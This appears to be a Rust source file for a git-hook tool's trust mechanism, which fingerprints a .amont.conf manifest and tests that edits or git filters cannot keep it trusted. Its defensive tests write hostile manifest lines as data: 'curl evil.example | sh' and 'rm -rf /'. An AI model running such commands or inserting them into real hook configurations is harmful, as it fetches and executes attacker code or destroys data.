use std::path::Path;
use crate::ui::valid_sign;
pub const KEY: &str = "amont.trusted";
pub fn fingerprint(repo: &Path, manifest: &Path) -> Option<String> {
crate::git::stdout_in(repo, &["hash-object", "--no-filters", manifest.to_str()?])
}
pub fn fingerprint_bytes(repo: &Path, bytes: &[u8]) -> Option<String> {
crate::git::stdout_piped_in(repo, &["hash-object", "--stdin"], bytes)
}
pub fn recorded(repo: &Path) -> Option<String> {
crate::git::stdout_in(repo, &["config", "--local", "--get", KEY])
}
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum State {
NoManifest,
Trusted,
Untrusted,
Changed,
}
pub fn state(repo: &Path) -> State {
let manifest = repo.join(crate::manifest::MANIFEST);
if !manifest.is_file() {
return State::NoManifest;
}
let Some(current) = fingerprint(repo, &manifest) else {
return State::Untrusted;
};
verdict(repo, ¤t)
}
pub fn state_of(repo: &Path, source: &[u8]) -> State {
let Some(current) = fingerprint_bytes(repo, source) else {
return State::Untrusted;
};
verdict(repo, ¤t)
}
fn verdict(repo: &Path, current: &str) -> State {
match recorded(repo) {
Some(seen) if seen == current => State::Trusted,
Some(_) => State::Changed,
None => State::Untrusted,
}
}
pub fn record(repo: &Path) -> Result<String, String> {
let manifest = repo.join(crate::manifest::MANIFEST);
let fp = fingerprint(repo, &manifest)
.ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
record_verified(repo, &fp)?;
Ok(fp)
}
pub fn record_verified(repo: &Path, fp: &str) -> Result<(), String> {
let manifest = repo.join(crate::manifest::MANIFEST);
let now = fingerprint(repo, &manifest)
.ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
if now != fp {
return Err(format!(
"{} changed since it was shown — nothing was trusted; run `amont trust` again to review it",
crate::manifest::MANIFEST
));
}
let ok = crate::git::stdout_in(repo, &["config", "--local", KEY, fp]).is_some();
if !ok {
return Err(format!("cannot record {KEY} in this repository"));
}
Ok(())
}
pub fn revoke(repo: &Path) -> Result<(), String> {
let _ = crate::git::stdout_in(repo, &["config", "--local", "--unset", KEY]);
Ok(())
}
pub fn why(state: State) -> Option<&'static str> {
match state {
State::NoManifest | State::Trusted => None,
State::Untrusted => {
Some("declared in an untrusted .amont.conf — review it, then `amont trust`")
}
State::Changed => {
Some(".amont.conf changed since it was trusted — review it, then `amont trust`")
}
}
}
pub fn describe(repo: &Path) -> String {
describe_source(
&std::fs::read_to_string(repo.join(crate::manifest::MANIFEST)).unwrap_or_default(),
)
}
pub fn describe_source(text: &str) -> String {
use std::fmt::Write;
let mut out = String::new();
for line in crate::manifest::parse_lines(text) {
let (name, stage, parsed) = line.into_parts();
let name = crate::ui::sanitize(&name);
match parsed {
Ok(declared) => {
let _ = writeln!(
out,
" {name:<14} {:<10} {}",
stage.as_str(),
crate::ui::sanitize(&declared.command())
);
}
Err(why) => {
let _ = writeln!(
out,
" {name:<14} {:<10} ! {}",
stage.as_str(),
crate::ui::sanitize(&why.to_string())
);
}
}
}
out
}
#[cfg(unix)]
pub fn confirm(prompt: &str) -> bool {
use std::io::{BufRead, BufReader, Write};
let Ok(tty) = std::fs::File::open("/dev/tty") else {
return false;
};
print!("{prompt}");
let _ = std::io::stdout().flush();
let mut line = String::new();
if BufReader::new(tty).read_line(&mut line).is_err() {
return false;
}
matches!(line.trim_start().chars().next(), Some('y') | Some('Y'))
}
#[cfg(not(unix))]
pub fn confirm(_prompt: &str) -> bool {
false
}
pub fn command(args: &[std::ffi::OsString]) -> Result<(), String> {
let root = crate::hooks::common::repo_root_checked()?;
let root = Path::new(&root);
let flag = |f: &str| args.iter().any(|a| a == f);
if flag("--revoke") {
revoke(root)?;
println!("{} .amont.conf is no longer trusted here", valid_sign());
return Ok(());
}
let state = state(root);
if state == State::NoManifest {
println!("no {} in this repository", crate::manifest::MANIFEST);
return Ok(());
}
if flag("--show") {
println!("{}", crate::manifest::MANIFEST);
print!("{}", describe(root));
println!(
" {}",
match state {
State::Trusted => "trusted here",
State::Changed => "TRUSTED ONCE, AND CHANGED SINCE — not running",
_ => "not trusted here — not running",
}
);
return Ok(());
}
if state == State::Trusted {
println!("{} already trusted, unchanged", valid_sign());
return Ok(());
}
let manifest = root.join(crate::manifest::MANIFEST);
let source =
std::fs::read(&manifest).map_err(|e| format!("cannot read {}: {e}", manifest.display()))?;
let fp = fingerprint_bytes(root, &source)
.ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
println!("{} declares:", crate::manifest::MANIFEST);
print!("{}", describe_source(&String::from_utf8_lossy(&source)));
record_verified(root, &fp)?;
println!("{} trusted ({fp})", valid_sign());
Ok(())
}
#[cfg(test)]
mod tests {
use super::*;
fn repo(name: &str) -> std::path::PathBuf {
let d = std::env::temp_dir().join(format!("trust-{name}-{}", std::process::id()));
let _ = std::fs::remove_dir_all(&d);
std::fs::create_dir_all(&d).unwrap();
std::process::Command::new("git")
.args(["init", "-q", "--template=", "."])
.current_dir(&d)
.output()
.expect("git");
d
}
fn write_manifest(dir: &Path, body: &str) {
std::fs::write(dir.join(crate::manifest::MANIFEST), body).unwrap();
}
#[test]
fn no_manifest_is_not_a_trust_question() {
let d = repo("none");
assert_eq!(state(&d), State::NoManifest);
assert_eq!(why(State::NoManifest), None);
let _ = std::fs::remove_dir_all(&d);
}
#[test]
fn a_manifest_starts_untrusted() {
let d = repo("new");
write_manifest(&d, "pre-commit a * block echo hi\n");
assert_eq!(state(&d), State::Untrusted);
let _ = std::fs::remove_dir_all(&d);
}
#[test]
fn recording_makes_it_trusted() {
let d = repo("record");
write_manifest(&d, "pre-commit a * block echo hi\n");
record(&d).expect("record");
assert_eq!(state(&d), State::Trusted);
let _ = std::fs::remove_dir_all(&d);
}
#[test]
fn editing_the_manifest_revokes_trust() {
let d = repo("edit");
write_manifest(&d, "pre-commit a * block echo hi\n");
record(&d).expect("record");
assert_eq!(state(&d), State::Trusted);
write_manifest(&d, "pre-commit a * block curl evil.example | sh\n");
assert_eq!(
state(&d),
State::Changed,
"a manifest edited after trusting must not still be trusted"
);
assert!(why(State::Changed).expect("reason").contains("changed"));
let _ = std::fs::remove_dir_all(&d);
}
#[test]
fn record_verified_refuses_a_manifest_that_changed_since_it_was_fingerprinted() {
let d = repo("changed-mid-confirm");
write_manifest(&d, "pre-commit a * block echo hi\n");
let manifest = d.join(crate::manifest::MANIFEST);
let shown_fp = fingerprint(&d, &manifest).expect("fingerprint");
write_manifest(&d, "pre-commit a * block curl evil.example | sh\n");
let err = record_verified(&d, &shown_fp).expect_err("must refuse");
assert!(err.contains("changed"), "{err}");
assert_eq!(
state(&d),
State::Untrusted,
"the rewritten content must not end up trusted"
);
let _ = std::fs::remove_dir_all(&d);
}
#[test]
fn record_verified_accepts_a_manifest_that_did_not_change() {
let d = repo("unchanged");
write_manifest(&d, "pre-commit a * block echo hi\n");
let manifest = d.join(crate::manifest::MANIFEST);
let fp = fingerprint(&d, &manifest).expect("fingerprint");
record_verified(&d, &fp).expect("record");
assert_eq!(state(&d), State::Trusted);
let _ = std::fs::remove_dir_all(&d);
}
#[test]
fn revoking_returns_it_to_untrusted() {
let d = repo("revoke");
write_manifest(&d, "pre-commit a * block echo hi\n");
record(&d).expect("record");
revoke(&d).expect("revoke");
assert_eq!(state(&d), State::Untrusted);
revoke(&d).expect("revoke again");
let _ = std::fs::remove_dir_all(&d);
}
#[test]
fn the_fingerprint_is_git_hash_object() {
let d = repo("fp");
write_manifest(&d, "pre-commit a * block echo hi\n");
let manifest = d.join(crate::manifest::MANIFEST);
let ours = fingerprint(&d, &manifest).expect("fingerprint");
let theirs = String::from_utf8_lossy(
&std::process::Command::new("git")
.args(["hash-object", "--no-filters", manifest.to_str().unwrap()])
.current_dir(&d)
.output()
.expect("git")
.stdout,
)
.trim()
.to_string();
assert_eq!(ours, theirs);
let _ = std::fs::remove_dir_all(&d);
}
#[test]
fn a_clean_filter_cannot_make_two_manifests_share_a_fingerprint() {
let d = repo("filter");
std::fs::write(d.join(".gitattributes"), ".amont.conf filter=flatten\n")
.expect("write attributes");
let ok = std::process::Command::new("git")
.args(["config", "--local", "filter.flatten.clean", "echo same"])
.current_dir(&d)
.status()
.map(|s| s.success())
.unwrap_or(false);
if !ok {
return; }
let manifest = d.join(crate::manifest::MANIFEST);
write_manifest(&d, "pre-commit a * block echo one\n");
let filtered_a = raw_hash(&d, &manifest);
let ours_a = fingerprint(&d, &manifest).expect("fingerprint a");
write_manifest(&d, "pre-commit b * block rm -rf /\n");
let filtered_b = raw_hash(&d, &manifest);
let ours_b = fingerprint(&d, &manifest).expect("fingerprint b");
if filtered_a != filtered_b {
println!(
"! clean filters do not apply here — collision not reproducible, \
see an_eol_conversion_cannot_make_two_manifests_share_a_fingerprint"
);
return;
}
assert_ne!(
ours_a, ours_b,
"the fingerprint followed a repo-controlled filter"
);
}
#[test]
fn an_eol_conversion_cannot_make_two_manifests_share_a_fingerprint() {
let d = repo("eol");
std::fs::write(d.join(".gitattributes"), ".amont.conf text eol=lf\n")
.expect("write attributes");
let manifest = d.join(crate::manifest::MANIFEST);
std::fs::write(&manifest, b"pre-commit a * block echo one\r\n").expect("crlf");
let filtered_crlf = raw_hash(&d, &manifest);
let ours_crlf = fingerprint(&d, &manifest).expect("fingerprint crlf");
std::fs::write(&manifest, b"pre-commit a * block echo one\n").expect("lf");
let filtered_lf = raw_hash(&d, &manifest);
let ours_lf = fingerprint(&d, &manifest).expect("fingerprint lf");
if filtered_crlf != filtered_lf {
println!("! eol conversion does not apply here — collision not reproducible");
return;
}
assert_ne!(
ours_crlf, ours_lf,
"the fingerprint followed a repo-controlled eol conversion"
);
}
fn raw_hash(dir: &std::path::Path, manifest: &std::path::Path) -> String {
String::from_utf8_lossy(
&std::process::Command::new("git")
.args(["hash-object", manifest.to_str().unwrap()])
.current_dir(dir)
.output()
.expect("git")
.stdout,
)
.trim()
.to_string()
}
}